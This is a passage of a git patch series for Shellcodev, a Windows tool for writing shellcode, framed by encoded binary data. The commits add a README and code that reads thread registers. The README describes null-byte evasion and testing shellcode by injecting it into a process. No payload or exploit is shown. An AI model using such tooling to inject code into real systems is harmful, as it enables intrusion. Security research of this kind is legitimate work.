z8OZ7aA0VA-1Z5vS;Ai)QC|Is6m3+v&?QBWBEA&&iEU#KMSDjc82Ga>XlN~K=j6b0zM#Sw678$!0`tp29Dc136cY%_fL%7qskx9&GAPv z7X5f0DyKPDW%U)07HtF>YyjeZ&2*RrkP+LE-NcvqKbUhk_Y#f0p`{Okr2GMmh4S?YIYG^` zBcWk+gG}dJ;sY#+2~_X_-IxJ97Ze)Uw>KMK715>D$;&duSIG^5OZ*ED5L4eN3=dG} zO<@+qHNGECfA24Egzz%hM!1&t9FeP~W&w&ph zA>e!bU~jV4=g&mw>FrUa(H?3DknqXMS~?`ZTwG(eSUy?N2tDK{^+mA(=L_Dp zRZt&ufa_R{iI+&;hWf{d570n4FMyx=aWfltBT{`Kb^pABq`C!{;CC?3j)6^coL%r6 z2L=oHfHNL0I$HwheI5?Zt{Qw8aP`NMbq5|JK7fWIOr4a4)*L}na92RY%3oYw^dv3S z>l<;E-YxX&?2Aoam_{e9Re}##G1I#FO2XuoY=G-Zs=&IkB>i#X16cM^Tw`LcvdLtu zvJo?H&X@OyY2vrQwlL5TEIvSZD~RI{2y})p6F4}627_m%`~l{dmNXZ@2y?>WvEl;= z@c0UE1MkmrpuIPD3IdSr0uTTDrxSBXg+hB8(-7Op?yE5A*kZ&aA2&XLgbPCTEc4Mj z---NYOJIVOKVXiO zEkTk&irhW!vEl>R_A(s;L|ka4+NRQkf>J<(FcEbp^Q8+?o|Ef0mtrolg|z~Iz@hn) zAlWK`KOn2sS(UpP4nA&t0L!E*RM`k@)C@BYG^F%JsF11c!b-55?Jtlz$xQW#elDIa z@CPJk%7SE=KY%>$18U7VTpAxYK7fSYpIU5u51DFvs!WoEWZ^muOsezq7YZ47uEzWU z2O^|FGLb)^ML)p9(&Zi>bNsR611N}6RM~X2F_-OtG7;eYwNS4AUV~|@XyrSXmiY1f z0i0{Iedz#>7fr?=FfQ1V#D7}YFMtoAVfoZk%R>uK83&gNN@yBq36wLo%9+R?OI*&}6m0fQS#c z-|Bb3eR{v>z^tiHg`fW=@d1)Oz8iHW$hE)9g@h#R^5J`ti?VF$MmS`>zkrAjXmo9H zI6r^yuv5??He35;@BwVXo1|!p=-ws@)n+%*EC2$MZ>GS}!DpJM>5qh*ZJuU0FtO!C z@hPFdK=GJs2eX?l7?X=wd_eQ69V~x<@9`^(`D}j^EXi1M`4Fs}m)Tmmmcs{ZY^jAU z=va*$ApVTwzNfAxi)Wit!QYK5s7|4eU{) z10Of=bpx#yeaaBXv7;eph&xHcRhnouM4$n5G!du=^n;$H12x={MjBN840JTXFZE&* zI+4})zxc|@f(bx4k~lah{byaTfCZ}>VJl Date: Thu, 4 Nov 2021 12:47:53 +0100 Subject: [PATCH 31/64] Create README.md --- README.md | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) create mode 100644 README.md diff --git a/README.md b/README.md new file mode 100644 index 0000000..81643b3 --- /dev/null +++ b/README.md @@ -0,0 +1,21 @@ +# Shellcodev +Shellcodev is a tool designed to help and automate the process of shellcode creation. + +### Features + 1. Snippets + 2. Instruction assembling in real time + 3. [TODO] Showing register values in real time + 4. Testing shellcode by injecting it into the process + 5. Testing shellcode by embedding it into the executable + 6. Dll function address extractor + 7. Converting bytes into chosen format (C / C#) + +### Snippets +``` +"string" Automatically converts string into hex and encodes it with little endian. + If string contains nullbytes it's being XORed to avoid shellcode termination. + Stack is build vice versa + +.dll.function Automatically extracts function address from dll. Address is getting converted + into hex and encoded with little endian +``` From a70c1fa510f15f294e5c515e5fb8df3571addff8 Mon Sep 17 00:00:00 2001 From: Xawery <40365455+XaFF-XaFF@users.noreply.github.com> Date: Thu, 4 Nov 2021 12:48:12 +0100 Subject: [PATCH 32/64] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 81643b3..d7af652 100644 --- a/README.md +++ b/README.md @@ -4,7 +4,7 @@ Shellcodev is a tool designed to help and automate the process of shellcode crea ### Features 1. Snippets 2. Instruction assembling in real time - 3. [TODO] Showing register values in real time + 3. [TODO] Showing registers values in real time 4. Testing shellcode by injecting it into the process 5. Testing shellcode by embedding it into the executable 6. Dll function address extractor From 67d549c6c8b333f2567509afe34d63b07f790987 Mon Sep 17 00:00:00 2001 From: XaFF Date: Thu, 4 Nov 2021 19:17:15 +0100 Subject: [PATCH 33/64] Added required libraries for registers values extraction --- InstructionHandler/dllmain.cpp | 2 ++ InstructionHandler/ihandler.h | 6 ++++++ TestDLL/Program.cs | 16 +++++++++++----- 3 files changed, 19 insertions(+), 5 deletions(-) diff --git a/InstructionHandler/dllmain.cpp b/InstructionHandler/dllmain.cpp index a69be36..531d522 100644 --- a/InstructionHandler/dllmain.cpp +++ b/InstructionHandler/dllmain.cpp @@ -2,6 +2,8 @@ #include "ihandler.h" #include #include +#include +#include using namespace asmjit; using namespace asmtk; diff --git a/InstructionHandler/ihandler.h b/InstructionHandler/ihandler.h index af1fc23..203c73d 100644 --- a/InstructionHandler/ihandler.h +++ b/InstructionHandler/ihandler.h @@ -1,9 +1,13 @@ #pragma once +#include +#include #include #include #include +#define _AMD64_ 1 + #ifdef EBEXPORT #define EBDECL __declspec(dllexport) #else @@ -17,6 +21,8 @@ extern "C" __declspec(dllexport) const char* AssembleInstructions(const char* instruction); + //__declspec(dllexport) const char* GetRegister(const char* command); + #if defined (__cplusplus) } #endif diff --git a/TestDLL/Program.cs b/TestDLL/Program.cs index 67b408c..dfcde47 100644 --- a/TestDLL/Program.cs +++ b/TestDLL/Program.cs @@ -5,17 +5,23 @@ namespace TestDLL { internal class Program { - [DllImport("instrhandle.dll", CharSet = CharSet.Ansi, CallingConvention = CallingConvention.Cdecl)] + [DllImport("instrHandler_x86.dll", CharSet = CharSet.Ansi, CallingConvention = CallingConvention.Cdecl)] public static extern IntPtr AssembleInstructions(string instruction); + [DllImport("instrHandler_x86.dll", CharSet = CharSet.Ansi, CallingConvention = CallingConvention.Cdecl)] + public static extern IntPtr GetRegister(string instruction); + static void Main(string[] args) { - string instruction = "xor eax,eax"; + string instruction = "mov eax,42"; + + //IntPtr mem = AssembleInstructions(instruction); + //string v = Marshal.PtrToStringAnsi(mem); + //Console.WriteLine(v); + + var pointer = GetRegister(instruction); - IntPtr mem = AssembleInstructions(instruction); - string v = Marshal.PtrToStringAnsi(mem); - Console.WriteLine(v); Console.ReadLine(); } } From c9a8239ea6e9d96ba1c16812ea4b1922fce874ca Mon Sep 17 00:00:00 2001 From: XaFF Date: Sun, 7 Nov 2021 13:15:05 +0100 Subject: [PATCH 34/64] Function added to extract eip, esp and ebp values from current process thread. --- InstructionHandler/dllmain.cpp | 2 - InstructionHandler/ihandler.h | 2 - Shellcodev/Core/Instruction.cs | 27 ++----- Shellcodev/Core/Registers.cs | 127 ++++++++++++++++++++++++++++++ Shellcodev/Forms/Main.Designer.cs | 34 ++++---- Shellcodev/Forms/Main.cs | 3 + Shellcodev/Shellcodev.csproj | 1 + TestDLL/Program.cs | 10 +-- TestDLL/TestDLL.csproj | 1 + 9 files changed, 155 insertions(+), 52 deletions(-) create mode 100644 Shellcodev/Core/Registers.cs diff --git a/InstructionHandler/dllmain.cpp b/InstructionHandler/dllmain.cpp index 531d522..a69be36 100644 --- a/InstructionHandler/dllmain.cpp +++ b/InstructionHandler/dllmain.cpp @@ -2,8 +2,6 @@ #include "ihandler.h" #include #include -#include -#include using namespace asmjit; using namespace asmtk; diff --git a/InstructionHandler/ihandler.h b/InstructionHandler/ihandler.h index 203c73d..23a4c1c 100644 --- a/InstructionHandler/ihandler.h +++ b/InstructionHandler/ihandler.h @@ -21,8 +21,6 @@ extern "C" __declspec(dllexport) const char* AssembleInstructions(const char* instruction); - //__declspec(dllexport) const char* GetRegister(const char* command); - #if defined (__cplusplus) } #endif diff --git a/Shellcodev/Core/Instruction.cs b/Shellcodev/Core/Instruction.cs index bcb0c54..b75cd33 100644 --- a/Shellcodev/Core/Instruction.cs +++ b/Shellcodev/Core/Instruction.cs @@ -1,7 +1,6 @@ using Shellcodev.Core; using System; using System.Collections.Generic; -using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; @@ -94,13 +93,15 @@ public Instruction(string instruction) var main = Forms.Main.ReturnInstance(); string[] bytes = null; - bool array = false; string tempBytes = null; // Extract register from command - try { this.register = instruction.Substring(3, 4); } + try + { + this.register = instruction.Substring(3, 4); + } catch(Exception) - { } + { return; } // Check if instruction contains double quotes and if yes execute StringAssembler // This function is used to automate process of string appendance into the shellcode. @@ -111,7 +112,6 @@ public Instruction(string instruction) bytes = converter.StringAssembler(instruction); parser.SnippetParser(main, register, bytes); parser.SnippetAppender(main, register, bytes); - array = true; } else { @@ -124,23 +124,6 @@ public Instruction(string instruction) tempBytes = handler.Assembler(instruction); main.ByteAppender(tempBytes); } - - //if(array) - //{ - // parser.SnippetParser(main, register, bytes); - // parser.SnippetAppender(main, register, bytes); - //} - //else - //{ - // int rows = main.instructionGrid.Rows.Add(rowId); - // DataGridViewRow row = main.instructionGrid.Rows[rows]; - - // row.Cells["Instruction"].Value = instruction; - // row.HeaderCell.Value = (row.Index + 1).ToString(); - - // tempBytes = handler.Assembler(instruction); - // main.ByteAppender(tempBytes); - //} } } } \ No newline at end of file diff --git a/Shellcodev/Core/Registers.cs b/Shellcodev/Core/Registers.cs new file mode 100644 index 0000000..32ba20f --- /dev/null +++ b/Shellcodev/Core/Registers.cs @@ -0,0 +1,127 @@ +using Shellcodev.Forms; +using System; +using System.Runtime.InteropServices; +using System.Windows.Forms; + +namespace Shellcodev.Core +{ + internal class API + { + [DllImport("kernel32.dll")] + public static extern IntPtr GetCurrentThread(); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool GetThreadContext(IntPtr hThread, ref CONTEXT lpContext); + + + public enum CONTEXT_FLAGS : uint + { + CONTEXT_i386 = 0x10000, + CONTEXT_i486 = 0x10000, // same as i386 + CONTEXT_CONTROL = CONTEXT_i386 | 0x01, // SS:SP, CS:IP, FLAGS, BP + CONTEXT_INTEGER = CONTEXT_i386 | 0x02, // AX, BX, CX, DX, SI, DI + CONTEXT_SEGMENTS = CONTEXT_i386 | 0x04, // DS, ES, FS, GS + CONTEXT_FLOATING_POINT = CONTEXT_i386 | 0x08, // 387 state + CONTEXT_DEBUG_REGISTERS = CONTEXT_i386 | 0x10, // DB 0-3,6,7 + CONTEXT_EXTENDED_REGISTERS = CONTEXT_i386 | 0x20, // cpu specific extensions + CONTEXT_FULL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS, + CONTEXT_ALL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS | CONTEXT_FLOATING_POINT | CONTEXT_DEBUG_REGISTERS | CONTEXT_EXTENDED_REGISTERS + } + + [StructLayout(LayoutKind.Sequential)] + public struct FLOATING_SAVE_AREA + { + public uint ControlWord; + public uint StatusWord; + public uint TagWord; + public uint ErrorOffset; + public uint ErrorSelector; + public uint DataOffset; + public uint DataSelector; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 80)] + public byte[] RegisterArea; + public uint Cr0NpxState; + } + + [StructLayout(LayoutKind.Sequential)] + public struct CONTEXT + { + public uint ContextFlags; //set this to an appropriate value + // Retrieved by CONTEXT_DEBUG_REGISTERS + public uint Dr0; + public uint Dr1; + public uint Dr2; + public uint Dr3; + public uint Dr6; + public uint Dr7; + // Retrieved by CONTEXT_FLOATING_POINT + public FLOATING_SAVE_AREA FloatSave; + // Retrieved by CONTEXT_SEGMENTS + public uint SegGs; + public uint SegFs; + public uint SegEs; + public uint SegDs; + // Retrieved by CONTEXT_INTEGER + public uint Edi; + public uint Esi; + public uint Ebx; + public uint Edx; + public uint Ecx; + public uint Eax; + // Retrieved by CONTEXT_CONTROL + public uint Ebp; + public uint Eip; + public uint SegCs; + public uint EFlags; + public uint Esp; + public uint SegSs; + // Retrieved by CONTEXT_EXTENDED_REGISTERS + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 512)] + public byte[] ExtendedRegisters; + } + } + + class Registers + { + private void RegisterParser(API.CONTEXT context, string[] split) + { + var main = Main.ReturnInstance(); + + object[] vs = { context.Eip, context.Esp, context.Ebp }; + + for (int i = 0; i < split.Length; i++) + { + if (i % 2 != 0 && i < 4) + { + int hex = Convert.ToInt32(vs[i - 1]); + string tohex = hex.ToString("X8"); + + split[i] = tohex; + } + } + + string str = string.Join(" ", split); + main.pointersBox.Text = str; + } + + public void SetRegisters() + { + var main = Main.ReturnInstance(); + var context = new API.CONTEXT(); + + context.ContextFlags = (uint)API.CONTEXT_FLAGS.CONTEXT_ALL; + IntPtr hThread = API.GetCurrentThread(); + + string[] split = main.pointersBox.Text.Split(' '); + + if (API.GetThreadContext(hThread, ref context)) + { + RegisterParser(context, split); + } + else //Add GetLastError api call + { + MessageBox.Show("Error occurred while extracting pointers values."); + } + } + } +} diff --git a/Shellcodev/Forms/Main.Designer.cs b/Shellcodev/Forms/Main.Designer.cs index f101e6d..8c253fd 100644 --- a/Shellcodev/Forms/Main.Designer.cs +++ b/Shellcodev/Forms/Main.Designer.cs @@ -62,7 +62,7 @@ private void InitializeComponent() this.instructionGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { this.Instruction}); this.instructionGrid.Location = new System.Drawing.Point(47, 198); - this.instructionGrid.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.instructionGrid.Margin = new System.Windows.Forms.Padding(4); this.instructionGrid.Name = "instructionGrid"; this.instructionGrid.RowHeadersWidth = 51; this.instructionGrid.Size = new System.Drawing.Size(495, 479); @@ -80,7 +80,7 @@ private void InitializeComponent() // instructionTxt // this.instructionTxt.Location = new System.Drawing.Point(47, 697); - this.instructionTxt.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.instructionTxt.Margin = new System.Windows.Forms.Padding(4); this.instructionTxt.Name = "instructionTxt"; this.instructionTxt.Size = new System.Drawing.Size(317, 22); this.instructionTxt.TabIndex = 1; @@ -89,7 +89,7 @@ private void InitializeComponent() // addInstructionBtn // this.addInstructionBtn.Location = new System.Drawing.Point(441, 694); - this.addInstructionBtn.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.addInstructionBtn.Margin = new System.Windows.Forms.Padding(4); this.addInstructionBtn.Name = "addInstructionBtn"; this.addInstructionBtn.Size = new System.Drawing.Size(100, 27); this.addInstructionBtn.TabIndex = 2; @@ -100,7 +100,7 @@ private void InitializeComponent() // bytesBox // this.bytesBox.Location = new System.Drawing.Point(593, 198); - this.bytesBox.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.bytesBox.Margin = new System.Windows.Forms.Padding(4); this.bytesBox.Name = "bytesBox"; this.bytesBox.Size = new System.Drawing.Size(452, 478); this.bytesBox.TabIndex = 3; @@ -110,7 +110,7 @@ private void InitializeComponent() // this.registersBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238))); this.registersBox.Location = new System.Drawing.Point(47, 48); - this.registersBox.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.registersBox.Margin = new System.Windows.Forms.Padding(4); this.registersBox.Multiline = false; this.registersBox.Name = "registersBox"; this.registersBox.ReadOnly = true; @@ -122,7 +122,7 @@ private void InitializeComponent() // this.pointersBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238))); this.pointersBox.Location = new System.Drawing.Point(47, 149); - this.pointersBox.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.pointersBox.Margin = new System.Windows.Forms.Padding(4); this.pointersBox.Multiline = false; this.pointersBox.Name = "pointersBox"; this.pointersBox.ReadOnly = true; @@ -174,7 +174,7 @@ private void InitializeComponent() // this.richTextBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238))); this.richTextBox1.Location = new System.Drawing.Point(47, 98); - this.richTextBox1.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.richTextBox1.Margin = new System.Windows.Forms.Padding(4); this.richTextBox1.Multiline = false; this.richTextBox1.Name = "richTextBox1"; this.richTextBox1.ReadOnly = true; @@ -195,7 +195,7 @@ private void InitializeComponent() // testerBldBtn // this.testerBldBtn.Location = new System.Drawing.Point(593, 694); - this.testerBldBtn.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.testerBldBtn.Margin = new System.Windows.Forms.Padding(4); this.testerBldBtn.Name = "testerBldBtn"; this.testerBldBtn.Size = new System.Drawing.Size(161, 27); this.testerBldBtn.TabIndex = 2; @@ -206,7 +206,7 @@ private void InitializeComponent() // shlcTestBtn // this.shlcTestBtn.Location = new System.Drawing.Point(885, 694); - this.shlcTestBtn.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.shlcTestBtn.Margin = new System.Windows.Forms.Padding(4); this.shlcTestBtn.Name = "shlcTestBtn"; this.shlcTestBtn.Size = new System.Drawing.Size(161, 27); this.shlcTestBtn.TabIndex = 2; @@ -217,7 +217,7 @@ private void InitializeComponent() // dllAddrBox // this.dllAddrBox.Location = new System.Drawing.Point(637, 121); - this.dllAddrBox.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.dllAddrBox.Margin = new System.Windows.Forms.Padding(4); this.dllAddrBox.Name = "dllAddrBox"; this.dllAddrBox.Size = new System.Drawing.Size(160, 22); this.dllAddrBox.TabIndex = 6; @@ -235,7 +235,7 @@ private void InitializeComponent() // funcTxt // this.funcTxt.Location = new System.Drawing.Point(885, 121); - this.funcTxt.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.funcTxt.Margin = new System.Windows.Forms.Padding(4); this.funcTxt.Name = "funcTxt"; this.funcTxt.Size = new System.Drawing.Size(160, 22); this.funcTxt.TabIndex = 6; @@ -263,7 +263,7 @@ private void InitializeComponent() // getAddrBtn // this.getAddrBtn.Location = new System.Drawing.Point(788, 153); - this.getAddrBtn.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.getAddrBtn.Margin = new System.Windows.Forms.Padding(4); this.getAddrBtn.Name = "getAddrBtn"; this.getAddrBtn.Size = new System.Drawing.Size(112, 27); this.getAddrBtn.TabIndex = 2; @@ -275,7 +275,7 @@ private void InitializeComponent() // this.cRBtn.AutoSize = true; this.cRBtn.Location = new System.Drawing.Point(868, 38); - this.cRBtn.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.cRBtn.Margin = new System.Windows.Forms.Padding(4); this.cRBtn.Name = "cRBtn"; this.cRBtn.Size = new System.Drawing.Size(86, 21); this.cRBtn.TabIndex = 7; @@ -288,7 +288,7 @@ private void InitializeComponent() // this.csRBtn.AutoSize = true; this.csRBtn.Location = new System.Drawing.Point(868, 64); - this.csRBtn.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.csRBtn.Margin = new System.Windows.Forms.Padding(4); this.csRBtn.Name = "csRBtn"; this.csRBtn.Size = new System.Drawing.Size(94, 21); this.csRBtn.TabIndex = 7; @@ -300,7 +300,7 @@ private void InitializeComponent() // generateBtn // this.generateBtn.Location = new System.Drawing.Point(720, 28); - this.generateBtn.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.generateBtn.Margin = new System.Windows.Forms.Padding(4); this.generateBtn.Name = "generateBtn"; this.generateBtn.Size = new System.Drawing.Size(133, 68); this.generateBtn.TabIndex = 2; @@ -337,7 +337,7 @@ private void InitializeComponent() this.Controls.Add(this.instructionTxt); this.Controls.Add(this.instructionGrid); this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.Margin = new System.Windows.Forms.Padding(4); this.MaximumSize = new System.Drawing.Size(1127, 779); this.MinimumSize = new System.Drawing.Size(1127, 779); this.Name = "Main"; @@ -354,7 +354,6 @@ private void InitializeComponent() public System.Windows.Forms.DataGridView instructionGrid; public System.Windows.Forms.RichTextBox bytesBox; private System.Windows.Forms.RichTextBox registersBox; - private System.Windows.Forms.RichTextBox pointersBox; private System.Windows.Forms.Label label1; private System.Windows.Forms.Label label2; private System.Windows.Forms.Label label3; @@ -373,5 +372,6 @@ private void InitializeComponent() private System.Windows.Forms.RadioButton cRBtn; private System.Windows.Forms.RadioButton csRBtn; private System.Windows.Forms.Button generateBtn; + public System.Windows.Forms.RichTextBox pointersBox; } } \ No newline at end of file diff --git a/Shellcodev/Forms/Main.cs b/Shellcodev/Forms/Main.cs index 7589be3..ab94a58 100644 --- a/Shellcodev/Forms/Main.cs +++ b/Shellcodev/Forms/Main.cs @@ -25,6 +25,9 @@ public Main() InitializeComponent(); instance = this; instructionGrid.AllowUserToAddRows = false; + + Registers reg = new Registers(); + reg.SetRegisters(); } public void ByteAppender(string bytes) diff --git a/Shellcodev/Shellcodev.csproj b/Shellcodev/Shellcodev.csproj index b2a8632..27a75a2 100644 --- a/Shellcodev/Shellcodev.csproj +++ b/Shellcodev/Shellcodev.csproj @@ -68,6 +68,7 @@ + Form diff --git a/TestDLL/Program.cs b/TestDLL/Program.cs index dfcde47..8222571 100644 --- a/TestDLL/Program.cs +++ b/TestDLL/Program.cs @@ -8,20 +8,12 @@ internal class Program [DllImport("instrHandler_x86.dll", CharSet = CharSet.Ansi, CallingConvention = CallingConvention.Cdecl)] public static extern IntPtr AssembleInstructions(string instruction); - [DllImport("instrHandler_x86.dll", CharSet = CharSet.Ansi, CallingConvention = CallingConvention.Cdecl)] - public static extern IntPtr GetRegister(string instruction); - - static void Main(string[] args) { - string instruction = "mov eax,42"; - + string instruction = "mov eax,0x10"; //IntPtr mem = AssembleInstructions(instruction); //string v = Marshal.PtrToStringAnsi(mem); //Console.WriteLine(v); - - var pointer = GetRegister(instruction); - Console.ReadLine(); } } diff --git a/TestDLL/TestDLL.csproj b/TestDLL/TestDLL.csproj index 010737e..478c3c4 100644 --- a/TestDLL/TestDLL.csproj +++ b/TestDLL/TestDLL.csproj @@ -22,6 +22,7 @@ DEBUG;TRACE prompt 4 + true AnyCPU From 9cb67597a77a3e11b5984802ee04bb292f0164e1 Mon Sep 17 00:00:00 2001 From: XaFF Date: Sun, 7 Nov 2021 13:18:05 +0100 Subject: [PATCH 35/64] Added readme folder and project logo --- readme/shellcodev.png | Bin 0 -> 40397 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 readme/shellcodev.png diff --git a/readme/shellcodev.png b/readme/shellcodev.png new file mode 100644 index 0000000000000000000000000000000000000000..00292d7f9b123cd8649ea0671d5fe448ac0a9d91 GIT binary patch literal 40397 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 